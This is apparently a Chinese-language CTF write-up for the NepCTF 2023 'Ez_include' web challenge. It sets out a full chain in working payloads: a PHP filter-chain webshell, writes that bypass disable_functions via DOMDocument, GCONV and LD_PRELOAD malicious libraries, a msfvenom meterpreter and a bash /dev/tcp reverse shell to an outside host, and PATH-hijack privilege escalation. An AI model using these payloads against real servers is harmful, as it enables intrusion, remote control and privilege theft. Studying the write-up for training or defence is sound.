2023NepCTF Ez_include
本题不会做镜像,太绕了,各种知识点杂糅在一起,期待Nep公开镜像(
题目信息
- 题目名称:2023NepCTF Ez_include
- 题目描述:
- Apache2每五分钟自动重启,不会影响做题过程
- 部署题目需要一段时间,请师傅们耐心等待
- (若超过10分钟仍然无法访问,请销毁容器再重新开启)
- 可以参考:https://tttang.com/archive/1395/
WriteUp
本题参考了其他师傅的解,目前在绕过disable_functions部分看到两种打法,分别是利用GCONV和LD_PRELOAD环境变量绕disable_functions 本题大概思路如下:
- 利用PHP的filter伪协议完成LFI到RCE
- 利用DOMDocument原生类写入文件绕过disable_functions
- 环境变量提权拿flag
GCONV
首先打开题目,点击主页的按钮,有个link参数,比较明显存在文件包含
这里后端做了个拼接,传入/tmp/resources/4
会变成/tmp/resources/4.txt
用php_filter_chain_generator生成一段LFI2RCE的神秘字符串(具体原理这里不阐述,简单来说就是利用Base64和UTF8转UTF7特性拼凑出一段webshell,进而包含webshell实现命令执行)
python3 php_filter_chain_generator.py --chain "<?php eval(\$_POST[1]);?>"
接着将上方生成的字符串传给link参数,一句话木马的密码为1,执行命令即可,注意这里有disable_functions,所以先执行phpinfo查看disable_functions和disable_classes有哪些
disable_functions和disable_classes内容分别如下
fpassthru,fgetss,fgets,fopen,fread,show_souce,stream_socket_client,fsockopen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,pfsockopen,readfile,file_get_contents,file_put_contents,fputs,fwrite,delete,rmdir,rename,chgrp,chmod,chown,copy,chdir,mkdir,file,chroot,assert,dl,move_upload_file,sysmlink,readlink,curl_init,curl_exec
Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SplFileObject,SodiumException
同理,还发现了题目环境设置了open_basedir
这部分蚁剑是可以正常连接的
这里面有一个hint.ini,是php.ini配置,
其中/tmp
目录在蚁剑是可以访问的,直接在红色方框处输入路径读取即可
接下来就是绕过disable_functions,这里用GCONV绕过disable_functions,完整打法如下:
为了后面的数据包简便,这里先利用前面的马子写Webshell到/tmp/test.txt
,由于file_put_contents等函数都被过滤了,这里利用DOMDocument原生类写文件(注意URL编码)
1=$f="/tmp/test.txt";
$d=new DOMDocument();
$d->loadHTML("PD9waHAgaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCdPbicpO2V2YWwoJF9QT1NUWzFdKTs%2FPg%3D%3D");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");
写完之后,可以在蚁剑看看文件大小是否正确
再写一个payload.c,在本地将其编译成恶意动态链接库,该恶意动态链接库会执行1.sh文件内容(这种打法比较稳定,我本地在gconv_init()中直接弹shell是可以的,题目远程不行,估计是环境限制的比较多)
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
puts("pwned");
system("chmod 777 /tmp/1.sh;/tmp/1.sh");
exit(0);
}
gcc payload.c -shared -fPIC -o payload.so
读取payload.so的Base64编码内容:
cat payload.so | base64
利用上方DOMDocument的方式完成文件写入(同样记得将文件内容做URL编码):
1=$f="/tmp/payload.so";
$d=new DOMDocument();
$d->loadHTML("f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAA......");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");
再写入gconv-modules,gconv-modules内容如下
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
POST数据包里内容如下:
1=$f="/tmp/gconv-modules";
$d=new DOMDocument();
$d->loadHTML("bW9kdWxlICBQQVlMT0FELy8gICAgSU5URVJOQUwgICAgLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3BheWxvYWQgICAgMgptb2R1bGUgIElOVEVSTkFMICAgIFBBWUxPQUQvLyAgICAuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi90bXAvcGF5bG9hZCAgICAy");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");
接着用msf生成一个/tmp/shell,注意这里文件大小
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=29999 -f elf | base64
同样的方式传到/tmp/shell中:
1=$f="/tmp/shell";
$d=new DOMDocument();
$d->loadHTML("f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA%2BgAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH%2FaglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgB1L3ko%2FbFRSInmahBaaipYDwVZSIXAeSVJ%2F8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp%2BWg8FSIXAeO3%2F5g%3D%3D");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");
再写一个/tmp/1.sh,文件内容如下:
chmod +x /tmp/shell ;/tmp/shell
完整的数据包如下:
1=$f="/tmp/1.sh";
$d=new DOMDocument();
$d->loadHTML("Y2htb2QgK3ggL3RtcC9zaGVsbCA7L3RtcC9zaGVsbA==");
$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");
所有文件准备就绪了,理一下调用流程:
- 执行payload.so中的/tmp/1.sh
- /tmp/1.sh会去执行/tmp/shell(多了这一步是环境问题,通常来说在payload.so直接插入反弹shell的代码就可以了,
也许题目用的Ubuntu环境直接弹shell会抛bad number异常,这部分不确定) - 攻击者vps接收/tmp/shell
接着在vps中开启msfconsole监听,等待反弹shell:
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 1.1.1.1
set LPORT 29999
run
再执行putenv设置GCONV_PATH环境变量为/tmp/目录,利用iconv调用payload.so
1=putenv("GCONV_PATH=/tmp/");iconv("payload","UTF-8","whatever");
执行后就能拿到meterpreter shell了
showmsg有suid权限,其中src.c是showmsg的源码,直接读flag没权限,考虑提权
src.c会调用cat去读取文件
很明显是一个环境变量提权,最后读flag用tac或者其他命令读,因为cat命令的环境变量已经被污染了
cd /tmp
echo "/bin/sh" > /tmp/cat
chmod 777 /tmp/cat
export PATH=/tmp:$PATH
/showmsg
LD_PRELOAD
看到还有师傅是用LD_PRELOAD绕disable_functions的,参考链接如下:
恶意动态链接库内容:
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/1.1.1.1/7777 <&1'");
}
题目禁用了mail、error_log,这位师傅用了mb_send_mail绕过(这位师傅用glob去匹配/tmp/php*
下的临时文件,其实用DOMDocument可以控制文件名):
1=var_dump(scandir("/tmp"));
$a=scandir("glob:///tmp/php*");
$filename="/tmp/".$a[0];
var_dump($filename);
putenv("LD_PRELOAD=$filename");
mb_send_mail("","","");
拿到shell之后,后面的提权流程就一样了,这里不再赘述。
附
魔改了一下AntSword的bypass_disable_functions插件,一键获取webshell